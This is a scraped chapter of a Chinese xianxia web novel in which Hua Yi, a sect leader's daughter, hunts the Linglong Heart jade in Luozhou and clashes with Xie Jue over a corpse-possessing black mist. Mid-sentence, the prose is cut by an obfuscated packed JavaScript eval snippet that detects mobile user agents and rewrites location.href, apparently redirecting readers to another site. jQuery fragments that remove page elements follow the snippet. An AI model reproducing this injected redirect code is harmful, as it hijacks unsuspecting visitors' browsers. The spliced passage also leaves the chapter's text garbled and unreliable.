默认冷灰
24号文字
方正启体

1. 仙门客逐玉玲珑心

作者:观龄画蔷本书字数:K更新时间:
    春风拂晓,晨光透过窗子,柔柔洒进云阙泽议事堂。


    花意方才接了传召,是宗主花祀吟找她有事相商,她翩然而至,身姿纤细高挑,绣着缠枝莲暗纹的月白色衣摆随风摆动。


    花祀吟正坐在主位,手中拿着一封信,偏着头像在沉思什么,他年纪已近不惑,因驻颜有术看上去不过二十六七,可见修为之高深。


    花意放轻脚步,故意绕到他后面猛地出声道:“父亲!”


    花祀吟其实并没有被吓到,但他向来宠爱这个独女,仍作出吓一跳的样子,笑道:“又作怪。”


    花意俏皮地歪了歪头,容色清绝似月下寒霜,偏生眉眼妍丽如画,冷艳相济,自成风骨,她笑着问道:“父亲找我何事?”


    花祀吟正色道:“是有件要紧事,为父打算交给你去办。”他把手中信笺递给花意,“近日来外头有风声,传玲珑心在洛州现世,此玉乃不可多得的至宝,想来仙门百家都会派人去寻。”


    他顿了顿,语气微沉:“只是这消息来得奇怪,像是被人刻意放出来的。如若你能将它打探清楚带回来,是再好不过。”


    花意仔细看那信笺,原来玲珑心乃是一枚奇珍宝玉,状似心脏故得此名,佩在身上,能解天下奇毒,亦能压制心魔,修炼时佩戴,更能引动灵气,大幅增进修为。


    花意赞叹道:“果然是上品,父亲交给我便是,既有线索,想来找个东西也不是难事。”


    花祀吟点头道:“你五岁修炼,十岁便结丹了,若论天资根骨、修为灵力,为父并不担心。探宝不同于降妖除祟,人多反倒惹眼,你一人去便是。”


    他看着眼前自幼捧在掌心长大的女儿,放柔了语气,满是关怀:“只是你刚满十六,甚少下山历练,很多事终究阅历尚浅,经验不足……”


    花意忙笑道:“哎呀父亲!没经验可以攒经验嘛,你就别操心了。”


    花祀吟含笑摇头,却仍不放心,又叮嘱了几句,方让花意离去。


    从云阙泽到洛州,需御剑前往。花意虽会使剑,但更擅用鞭,因而不佩剑,随身只佩一柄花祀吟专为她打造的铃鞭。


    花意心道:虽说以灵力召动兵器,御什么都是可以的,但御鞭……哪有御剑潇洒?其实她一直都很喜欢剑,奈何剑并非她专长。


    想毕,花意转身去兵器库挑了一把颇合眼缘、流光溢彩的宝剑,笑道:“就你了,陪我走一趟吧。”


    说罢,她运转灵力念了个诀,剑便稳稳悬浮起来,花意足尖一点,轻飘飘踏上剑身,便朝洛州行去。


    一路御剑疾驰,不过一个时辰,已至洛州地界。入城不宜太过张扬,花意便收了灵剑,缓步而行。


    洛州城内并不像寻常城镇一样繁华热闹,反而有些寂寥,街边商铺大多紧闭门户,路上偶尔有行人,也像是魂不守舍的样子,东张西望脚步匆匆。


    花意心中奇怪,想拉个行人问问究竟,没想到那人像触电一样,甩开花意的手转身就跑,口中道:“不不不别碰我!别拉我啊啊啊!”


    花意疑惑更甚,这些人是怎么了?难道洛州有什么大事,或者有妖邪作祟?还是说……


    正想着,突然有一个穿着斗篷的人影撞开了花意的肩匆匆走过,花意方才被人甩开,心里本就不大痛快,当即怒道:“什么人!鬼鬼祟祟,给我站住!”


    见那人还一个劲儿往前走,花意直接抽出裁音往前一甩。


    裁音便是花意那柄铃鞭之名,这铃鞭通体淡金,似一朵带茎的繁花,花作铃,茎作柄,一旦出手,腕力轻送,长鞭便可从柄中应声而出,整朵花铃在鞭首如利刃般飞旋,伸缩精巧,机关精妙至极。


    裁音缠住了那斗篷人的脚腕,花意再往回一拉,那人便面朝下直挺挺摔在地上被拖过来。


    她哼了一声道:“还是副重骨头。”说罢一脚将这人翻过来,奇怪的是这人不出声,也不挣扎,还带着副面具。


    花意又是一鞭,力道控制得极稳,恰好挑飞了那人的面具。只是面具飞出去的一瞬间,她直直愣在了原地。


    这人双颊凹陷,面如死灰,眼瞳空洞,根本就是个死人!


    花意蹙眉,怪不得这人动作生硬,又僵又沉。


    她一面想时,一面余光扫到一团黑雾,从蒙面人躯壳中幽幽飘出来。


    花意忙一鞭甩出,一道灵光朝那黑雾击去,只是刚把黑雾打散,它便又自动合起来逃窜而去,像是打不死似的。


    她心下一惊,方才挥鞭时催动了流花音法,通常的邪灵根本承受不住!这黑雾必定不简单,看着像是找了副死人躯壳寄生,搞不好就是它把原本的活人吸干成尸的!


    花意毫不犹豫便决定要追。此行虽是来找玲珑心,但洛州有这种邪祟,难保二者之间不会有什么联系。


    花意轻功了得,见这洛州城已是古怪至极,便也懒得再骑马装样子,直接飞身掠檐过壁追去,衣袂翩翩,旁人只觉眼前一花,已不见她踪影,端的是风姿动人。


    不多时,花意已渐渐追上那黑雾,只是它颇善藏匿,忽隐忽现,花意抽出裁音运转灵力,花铃便发出阵阵脆响。


    这铃音能控人心魄,亦可探知鬼魅,她举起裁音向四周探知,随即果断向铃音最急促的方向挥出一鞭。


    那雾果然现了型,同样又被打散,可又裹挟着花意月白色的灵力重新合成一团,花意“啧”了一声,随即注入更多灵力向黑雾唰唰击去,连挥数鞭。


    “铛——”


    强光乍破,伴随着一声脆响,一道凌厉的黑色剑气横空斩来,竟硬生生将她打出的灵力击得溃散。


    花意感到刺眼,不由得双目微微眯起,一声少年清冽的声音冷冷落下:“住手。”


    一个玄黑衣袍的少年立在花意面前,恰好挡住了方才那道夺目的强光。


    花意本就高挑,大多寻常男子只不过比她略高些许,而这少年竟比花意高出一个头去,肩宽腰窄,身姿卓然。花意留心看他衣着,泛着淡淡的玄墨山纹光泽,肩口与袖缘以细银线点缀,用料考究,贵气逼人。


    原来是玄墨山谢氏。


    花意冷冷道:“我竟不知玄墨山何时与妖魔邪祟为伍了。”


    她一抬头,这少年也在看她。


    少年墨发高束垂在背后,光影落在轮廓分明的侧脸上,将极俊美的面容衬得冷冽清透,眉目间天生锐色,眸子沉静如夜,叫人看不透他心中所想。


    不用问也知道是谁了,仙门世家间常有往来,子弟们彼此之间也算认识,只是交集有多有少,而面前这位的大名,可是无人不知无人不晓的。


    花意方才被打断出招,没什么好气地道:“原来是谢玦谢少主,久仰啊,不知这黑雾是谢大公子哪位亲朋故旧?”


    谢玦似是没想到面前女子会这么对他说话,眸中闪过一丝诧异,转瞬便归于沉寂。他垂眸扫过那团仍在翻涌的黑雾,左耳下悬着的一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406218|200524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枚纤细玉坠随他偏头的动作轻轻一晃。


    谢玦淡淡道:“你再出手,只会助它壮大。此物有一定修为,你的灵力对它而言不过是养料。”


    花意一怔,拿着裁音的指尖微微握紧。


    那黑雾方才吸了不少灵气,不知不觉间竟扩大了几倍之多,骤然疯狂翻涌,化作一张漆黑巨口,朝着二人狠狠吞来。


    谢玦道:“退开。”随即往前一步,将剑横挡在前,引动剑诀将黑雾震得连连退散。


    黑雾见强攻不下,便再度仓皇逃窜,但它却并未远走,只是在前方数十丈外盘旋,像是在刻意引着二人追去。


    谢玦眸色微冷,当即跟上去。花意心里虽仍有气,却也知此刻不是争执之时,轻哼一声,也随即追上。


    两人一前一后,一路追着那团黑雾穿过一片荒林,进到一间破败古祠。古祠内阴暗寂静,四周墙上刻着斑驳古朴的纹路,不像寻常祠堂。


    花意本想像谢玦一样做出冷淡的样子不与他多言,但她是个有些憋不住话的性子,过了半刻还是忍不住低声道:“这里不是普通地方,倒像是镇魔祭天之类的用所。”


    但谢玦并不答话,花意闭了闭眼深吸一口气,暗骂了这个可恶的家伙几句。装什么装!


    那黑雾在祠堂中心的石台上方盘旋不止,非但不逃,反而像是在刻意挑衅般飞来飞去。


    花意眉心一动,这黑雾只躲不退,分明是在等他们,或者说,是在引他们。


    “还敢嚣张。”花意果断挥出裁音,不催半分灵力,只以鞭法巧劲横扫而出。


    谢玦则以剑为盾,封、挡、引、卸,每一招都精准克制,剑气一丝不泄。


    黑雾被逼得节节后退,却始终不逃离古祠,它时而扑向花意,时而缠向谢玦,看似疯狂攻击,又好像另有所图。


    花意正与那黑雾缠斗,却忽然感到腰间有什么东西在颤动。她想到自己还带了把剑出来,低头一看,正是那柄华美的宝剑,极轻地发出了嗡嗡声。


    奇怪,都说名器有灵,莫非这把剑与此有什么渊源?


    花意便收了裁音,转而拔出剑握在手中。只是这剑甚是反常,早晨御剑时,尚且很听召动,此刻不知怎么了,在她手中像在挣扎一般,花意只得分神用力去掌控。


    谢玦察觉到了花意的异常,瞥她一眼:“不会用剑就不要用。”


    花意闻言有些恼了,她抓住打斗的间隙,轻松躲过黑雾席卷,白了谢玦一眼道:“怎么不会!只是……”


    话音未落,黑雾猛地炸开一团浓墨,像是包围混迹在二人中间,遮蔽了他们的视线。


    花意感觉到黑雾似乎是对她手中的剑有想法,只好打算先将剑收回鞘中去。只是这剑颤动不已,又有黑雾撞击干扰,一时竟收不回去。


    谢玦已猜到了七八分,道:“这剑既然想脱手,你不妨放开,看看它想干什么,好过你一直分神控制,难道你是怕它就此飞走吗。”


    花意不满道:“你话好多!”她仍瞪了谢玦一眼,却顺着剑的力道轻轻松开了手,“既然你有灵性,那便随你去吧。”


    只听咻的一声,几乎是很难反应的速度,这把剑竟飞了出去,朝黑雾刺去。


    黑雾引诱般在古祠中央的石台飘了几下,剑便朝着那个方向直直插进了石台,其深度让人瞠目结舌,整个剑身几乎都没入石台中,若不是不够长,只怕要将地心扎穿,这力度仿佛有什么血海深仇。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)